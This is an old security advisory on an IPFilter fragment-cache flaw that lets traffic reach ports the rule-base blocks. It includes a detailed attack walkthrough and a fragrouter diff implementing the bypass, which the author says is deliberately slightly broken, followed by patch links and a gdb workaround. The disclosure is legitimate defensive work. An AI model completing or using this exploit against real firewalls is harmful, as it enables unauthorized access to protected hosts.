COMMAND

    IPFilter

SYSTEMS AFFECTED

    IPFilter prior to 3.4.17

PROBLEM

    For those of you using IPFilter, it's time to patch or upgrade  to
    v3.4.17.  Seems there's a bug with the way the application handles
    fragments.  A follow-up to this notice was posted by Darren Reed.

    A *VERY* serious bug has been brought to my attention in IPFilter.
    In 10 words or less,  fragment caching with can let  through "any"
    packet.  Ok, so that's 8.

    When matching a fragment, only srcip, dstip and IP ID# are checked
    and the fragment cache is checked *before* any rules are  checked.
    It does not  even need to  be a fragment.   Even if you  block all
    fragments with a  rule, fragment cache  entries can be  created by
    packets that match state information currently held.

    Thomas Lopatic did following advisory.  This vulnerability enables
    an attacker who has access to a  single UDP or TCP port on a  host
    protected by an IP Filter  firewall to obtain access to  any other
    UDP or TCP port on the same host.  Although this flaw is based  on
    problems handling fragments, it can still be exploited even if the
    rule-base explicitly blocks all fragmented packets.

    It seems that this problem has been buried in the source code  for
    quite a while.  Thus it  is likely that several older releases  of
    IP Filter  are also  vulnerable.   However, the  only version that
    Thomas hs looked at in addition to 3.4.16 is the release  included
    in  the  OpenBSD   2.8  distribution  (3.3.18),   which  is   also
    vulnerable.

    When IP  Filter evaluates  the rule-base  for an  IP fragment  and
    decides whether to pass it or block it, this decision is saved  in
    a "decision cache"  together with the  fragment's IP ID,  protocol
    number, source address and destination address fields.

    Before any received fragment is passed through the rule-base,  the
    decision cache is searched for a matching entry, i.e. an entry  in
    which the IP ID, protocol number, source address, and  destination
    address fields match the corresponding fields of the fragment.  If
    a matching entry is found,  the cached decision is applied  to the
    received fragment.  Otherwise the  fragment is  passed through the
    rule-base.

    In  this  way  the  same  decision  is  applied  to  all fragments
    belonging to the same original unfragmented packet.

    The  cache  entry  is  discarded  after  a timeout period.  But an
    optimization is implemented for  the common case of  receiving all
    fragments in order, i.e. from the leading offset-0 fragment to the
    last fragment  with a  cleared IP_MF  bit.   If all  fragments are
    received in order,  the cache entry  is discarded after  IP Filter
    has seen the last fragment.

    Let us assume that we can only access port 80/TCP on a host behind
    an IP Filter firewall and  all other ports are blocked.   However,
    we  know  that  the  host  also  runs  an FTP server that we could
    compromise because  we have  spotted a  giraffe in  its code.   We
    would therefore  like to  gain access  to port  21/TCP.  Hence, we
    patch Dug Song's  fragrouter 1.6 and  start doing a  bit of packet
    mangling.

    For each TCP packet  A that we send  to port 21 and  that we would
    like to sneak through  the firewall, we create  a TCP packet B  by
    making a copy of A - i.e.  we copy A's IP header, TCP header,  and
    TCP payload - and changing the destination port in B's TCP  header
    to 80.   If sent,  packet B  would be  passed by  the firewall (in
    contrast to packet A), because  traffic to port 80/TCP is  allowed
    by the rule-base.

    We then split B into three  fragments B1, B2, and B3, keeping  B's
    original  IP  header  and  only  adjusting  the  offset and length
    fields.  In the canonical  case, these fragments would be  sent in
    order, IP Filter would see B1, go through the rule-base, find  the
    rule that allows traffic to port 80/TCP, pass B1 because it is  an
    offset-0 fragment and the  contained TCP header fields  match this
    rule,  cache  the  "pass"  decision,  receive B2, apply the cached
    decision to B2, receive B3,  apply the cached decision to  B3, and
    discard the cache entry after having processed B3.

    Now there is a way to make IP Filter not only pass B1, B2, and  B3
    - i.e. apply the  decision cached for B1  to B2 and B3  - but also
    apply the cached  "pass" decision to  A.  Which  is convenient for
    our purpose of obtaining access to port 21/TCP.

    Note that the  created fragments B1,  B2, and B3  contain the same
    fragment  ID,  protocol  number,  source  address  and destination
    address as A.   Remember that B's  IP header is  an exact copy  of
    A's IP header and that  the fragments' IP headers differ  from B's
    IP header only in their length and offset fields.

    We fragment B  in the following  way. If B's  TCP payload is  less
    than 13 bytes, we pad it with null bytes.

        Fragment   Offset      Length   IP_MF   Payload
        ------------------------------------------------------------------------
        B1              0          24       1   B's TCP header, i.e. A's TCP
                                                header + destination port = 80
                                                bytes 0 to 3 of B's TCP payload

        B2             24           8       1   bytes 4 to 11 of B's TCP payload

        B3             32     depends       0   rest of B's TCP payload
                                 on B           (at least one byte)

    First we send B1.  IP Filter will consider the rule-base, pass the
    fragment, and cache this "pass" decision.  We then send B3 and  B2
    out of order, i.e. we send B3 before B2.  The cache entry  created
    for B1  matches each  fragment and  the cached  "pass" decision is
    looked up and used in  both cases.  However, the  optimization for
    in-order fragments mentioned above  does not apply and  the cached
    "pass" decision is still  kept for a while.   In the meantime  the
    destination host reassembles B1, B2, and B3.

    We now send packet A.  Since A has the same IP ID, source address,
    destination address,  and protocol  number as  the fragments,  the
    cache entry created  for B1 also  matches A and  the cached "pass"
    decision is  applied to  A as  well.   Thus, IP  Filter passes  A,
    although  it  is  directed  to  port  21/TCP  and should have been
    blocked according to the rule-base.

    Looking at the IP Filter source code, we see that A does not  need
    to be fragmented to make  IP Filter search its decision  cache for
    a  match,   which  saves   us  some   work  in   exploiting   this
    vulnerability.

    The attack as described  up to here can  be prevented by adding  a
    filtering rule along the lines of

        block in quick all with frag

    which  blocks  all   fragmented  IP  traffic.    However,   before
    considering the rule-base, IP Filter searches its state-table  for
    a connection entry matching the  received packet.  On a  match, IP
    Filter passes the packet without touching the rule-base.

    Therefore,  we  just  send  B  before  sending  B1,  B2,  and  B3.
    Receiving  B,  IP  Filter  creates  an  entry  in  the state-table
    representing a connection  from our computer  to the open  port on
    the host  that we  are attacking,  i.e. port  80 to  cling to  our
    example.

    Since B1 contains a full TCP header and we address B1 to the  same
    port as B, B1 is  also passed because a matching  connection entry
    in the state-table has already been created by the  non-fragmented
    packet B.  The  rule-base is ignored as  is the "block with  frag"
    rule.

    Passing B1, however, leads  to this "pass" decision  being cached,
    because B1 is a fragment.  This in turn allows us to pass B3,  B2,
    and A through the filter.  As can be seen the attack still applies
    even if all fragments are blocked by a filtering rule.

    If we did not care about the fragments awaiting reassembly in  the
    victim host, we could skip the steps of sending B2 and B3 and just
    send B1.  The effect of IP Filter passing traffic to blocked ports
    would be identical.  Thanks to John McDonald of NAI's COVERT  Labs
    for pointing  out the  full implications  of the  vulnerability to
    Thomas.

    These  are  the  -  intentionally  slightly  broken  - diffs to be
    applied  to  fragrouter  1.6  to  implement  the described attack.
    Supply the "-M3" option to  fragrouter and route all your  packets
    to the fragrouter  host to comfortably  walk through an  IP Filter
    installation that exposes the described vulnerability.

    diff -c -r fragrouter-1.6.orig/attack.c fragrouter-1.6/attack.c
    *** fragrouter-1.6.orig/attack.c	Tue Sep 21 17:16:59 1999
    --- fragrouter-1.6/attack.c	Sat Apr  7 16:59:05 2001
    ***************
    *** 126,132 ****
        NULL, /* ATTACK_MISC */
        "misc-1: Windows NT 4 SP2 - http://www.dataprotect.com/ntfrag/",
        "misc-2: Linux IP chains - http://www.dataprotect.com/ipchains/",
    !   NULL,
        NULL,
        NULL,
        NULL,
    --- 126,132 ----
        NULL, /* ATTACK_MISC */
        "misc-1: Windows NT 4 SP2 - http://www.dataprotect.com/ntfrag/",
        "misc-2: Linux IP chains - http://www.dataprotect.com/ipchains/",
    !   "misc-3: IP Filter - consult the bugtraq archives for April 2001 :-)",
        NULL,
        NULL,
        NULL,
    ***************
    *** 209,214 ****
    --- 209,217 ----
        }
        if (attack_num == 2) {
          frag = misc_linuxipchains(pkt, len);
    +   }
    +   if (attack_num == 3) {
    +     frag = misc_ipfilter(pkt, len);
        }
        if (frag) {
          send_list(frag->head);
    diff -c -r fragrouter-1.6.orig/misc.c fragrouter-1.6/misc.c
    *** fragrouter-1.6.orig/misc.c	Tue Sep 21 17:14:07 1999
    --- fragrouter-1.6/misc.c	Sat Apr  7 17:15:56 2001
    ***************
    *** 206,208 ****
    --- 206,422 ----

        return (list->head);
      }
    +
    + /*
    +  *    This demonstrates a fragmentation vulnerability in IP Filter.
    +  *
    +  *    The code needs a small corretion to work properly.
    +  *
    +  *    Thomas Lopatic, 2001-04-06
    +  */
    +
    + /*
    +  *    These are the ports that we have access to.
    +  */
    +
    + #define IPFILTER_OPEN_TCP_PORT 22
    + #define IPFILTER_OPEN_UDP_PORT 53
    +
    + ELEM *
    + misc_ipfilter(u_char *pkt, int pktlen)
    + {
    +   ELEM *new, *list = NULL;
    +   struct ip *iph;
    +   unsigned char *frag[3], *mod, *payload;
    +   int i, hlen, off, len[3], copy, rest;
    +   static short id = 1;
    +
    +   iph = (struct ip *)pkt;
    +
    +   if (iph->ip_p != IPPROTO_UDP && iph->ip_p != IPPROTO_TCP)
    +     return NULL;
    +
    +   iph->ip_id = htons(id);
    +
    +   if (++id == 0)
    +     ++id;
    +
    +   hlen = iph->ip_hl << 2;
    +
    +   payload = pkt + hlen;
    +   rest = pktlen - hlen;
    +
    +   for (i = 0; i < 3; i++) {
    +
    +     /*
    +      *    Select the offset and the length for each fragment
    +      *    of the decoy packet.
    +      */
    +
    +     switch (i) {
    +     case 0:
    +       off = IP_MF;
    +       if (iph->ip_p == IPPROTO_UDP)
    + 	len[i] = 8;
    +       else
    + 	len[i] = 24;
    +       break;
    +
    +     case 1:
    +       if (iph->ip_p == IPPROTO_UDP)
    + 	off = 1 | IP_MF;
    +       else
    + 	off = 3 | IP_MF;
    +       len[i] = 8;
    +       break;
    +
    +     default:
    +       if (iph->ip_p == IPPROTO_UDP)
    + 	off = 2;
    +       else
    + 	off = 4;
    +       if (rest > 0)
    + 	len[i] = rest;
    +       else
    + 	len[i] = 1;
    +       break;
    +     }
    +
    +     /*
    +      *    Create the fragment.
    +      */
    +
    +     if ((frag[i] = malloc(hlen + len[i])) == NULL) {
    +       while (--i > 0)
    + 	free(frag[i]);
    +       return NULL;
    +     }
    +
    +     memcpy(frag[i], pkt, hlen);
    +
    +     /*
    +      *    Copy a piece of payload and pad with null
    +      *    bytes if necessary.
    +      */
    +
    +     copy = len[i];
    +
    +     if (rest < copy)
    +        copy = rest;
    +
    +     if (copy > 0) {
    +       memcpy(frag[i] + hlen, payload, copy);
    +       payload += copy;
    +       rest -= copy;
    +     }
    +
    +     if (copy < len[i])
    +       memset(frag[i] + hlen + copy, 0, len[i] - copy);
    +
    +     /*
    +      *    No need to adjust the checksum.
    +      *    It is not verified by IP Filter.
    +      */
    +
    +     if (i == 0)
    +       *(unsigned short *)(frag[i] + hlen + 2) =
    + 	(iph->ip_p == IPPROTO_UDP) ? htons(IPFILTER_OPEN_UDP_PORT) :
    + 	  htons(IPFILTER_OPEN_TCP_PORT);
    +
    +     /*
    +      *    Fix the IP header.
    +      */
    +
    +     iph = (struct ip *)frag[i];
    +
    +     iph->ip_len = htons((short)(hlen + len[i]));
    +     iph->ip_off = htons((short)off);
    +   }
    +
    +   if (i == 3)
    +     return NULL;
    +
    +   /*
    +    *    First have IP Filter create a state-table entry using
    +    *    the original packet with a modified destination port.
    +    */
    +
    +   if ((mod = malloc(pktlen)) == NULL) {
    +     free(frag[0]);
    +     free(frag[1]);
    +     free(frag[2]);
    +     return NULL;
    +   }
    +
    +   memcpy(mod, pkt, pktlen);
    +
    +   *(unsigned short *)(mod + hlen + 2) =
    +     (iph->ip_p == IPPROTO_UDP) ? htons(IPFILTER_OPEN_UDP_PORT) :
    +       htons(IPFILTER_OPEN_TCP_PORT);
    +
    +   new = list_elem(mod, pktlen);
    +   free(mod);
    +
    +   if (new == NULL) {
    +     free(frag[0]);
    +     free(frag[1]);
    +     free(frag[2]);
    +     return NULL;
    +   }
    +
    +   list = list_add(list, new);
    +
    +   /*
    +    *    Then fragment #1 goes first...
    +    */
    +
    +   new = list_elem(frag[0], len[0] + hlen);
    +   free(frag[0]);
    +
    +   if (new == NULL) {
    +     free(frag[1]);
    +     free(frag[2]);
    +     return NULL;
    +   }
    +
    +   list = list_add(list, new);
    +
    +   /*
    +    *    ... then fragment #3 (out of order)...
    +    */
    +
    +   new = list_elem(frag[2], len[2] + hlen);
    +   free(frag[2]);
    +
    +   if (new == NULL) {
    +     free(frag[1]);
    +     return NULL;
    +   }
    +
    +   list = list_add(list, new);
    +
    +   /*
    +    *    ... then fragment #2...
    +    */
    +
    +   new = list_elem(frag[1], len[1] + hlen);
    +   free(frag[1]);
    +
    +   if (new == NULL)
    +     return NULL;
    +
    +   list = list_add(list, new);
    +
    +   /*
    +    *    ... and finally the original packet.
    +    */
    +
    +   new = list_elem(pkt, pktlen);
    +
    +   if (new == NULL)
    +     return NULL;
    +
    +   list = list_add(list, new);
    +
    +   return list->head;
    + }
    diff -c -r fragrouter-1.6.orig/misc.h fragrouter-1.6/misc.h
    *** fragrouter-1.6.orig/misc.h	Mon Jul 26 17:08:51 1999
    --- fragrouter-1.6/misc.h	Sat Apr  7 16:59:05 2001
    ***************
    *** 45,48 ****
    --- 45,50 ----

      ELEM *misc_linuxipchains(u_char *pkt, int pktlen);

    + ELEM *misc_ipfilter(u_char *pkt, int pktlen);
    +
      #endif /* MISC_H */

SOLUTION

    How to disable fragment caching?   In realtime, use adb or gdb  or
    kgdb  or  whatever  to  change  the variable named "ipfr_inuse" to
    1000000.   1000000 isn't  important, it  just needs  to be  larger
    than  IPFT_SIZE  and  an  integer.   There  are no sysctl's on BSD
    systems to adjust this if securelevel is > 0.

    IP Filter 3.3.22:

        ftp://coombs.anu.edu.au/pub/net/ip-filter/ip_fil3.3.22.tar.gz
        ftp://coombs.anu.edu.au/pub/net/ip-filter/patch-3.3.22.gz
        http://coombs.anu.edu.au/~avalon/ip_fil3.3.22.tar.gz
        http://coombs.anu.edu.au/~avalon/patch-3.3.22.gz

     IP Filter 3.4.17

        ftp://coombs.anu.edu.au/pub/net/ip-filter/ip_fil3.4.17.tar.gz
        ftp://coombs.anu.edu.au/pub/net/ip-filter/patch-3.4.17.gz
        http://coombs.anu.edu.au/~avalon/ip_fil3.4.17.tar.gz
        http://coombs.anu.edu.au/~avalon/patch-3.4.17.gz

    For FreeBSD:

        ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-01:33/ipfilter.patch
        ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-01:33/ipfilter.patch.asc

    For  NetBSD  upgrade  the  system  from newer sources or binaries.
    Systems running  NetBSD-current dated  from before  April 6,  2001
    should be upgraded to NetBSD-current dated April 6, 2001 or later.
    Systems running NetBSD 1.5.x  systems dated from before  April 14,
    2001 should be  upgraded to NetBSD  1.5.x dated April  14, 2001 or
    later.   NetBSD 1.5.1  will ship  with the  fix.   Systems running
    NetBSD 1.4.x systems  dated from before  April 14, 2001  should be
    upgraded to NetBSD 1.4.x  dated April 14, 2001  or later.  If  you
    cannot upgrade  the kernel  and if  you are  running on a platform
    that supports it, you can patch the kernel binary using gdb:

        # gdb --write /netbsd
        (gdb) set ipfr_inuse=1000000
        (gdb) quit

    Then reboot your system for the change to take effect.  The  value
    1000000  is  not  important,  it  just  has to be greater than the
    IPFT_SIZE constant.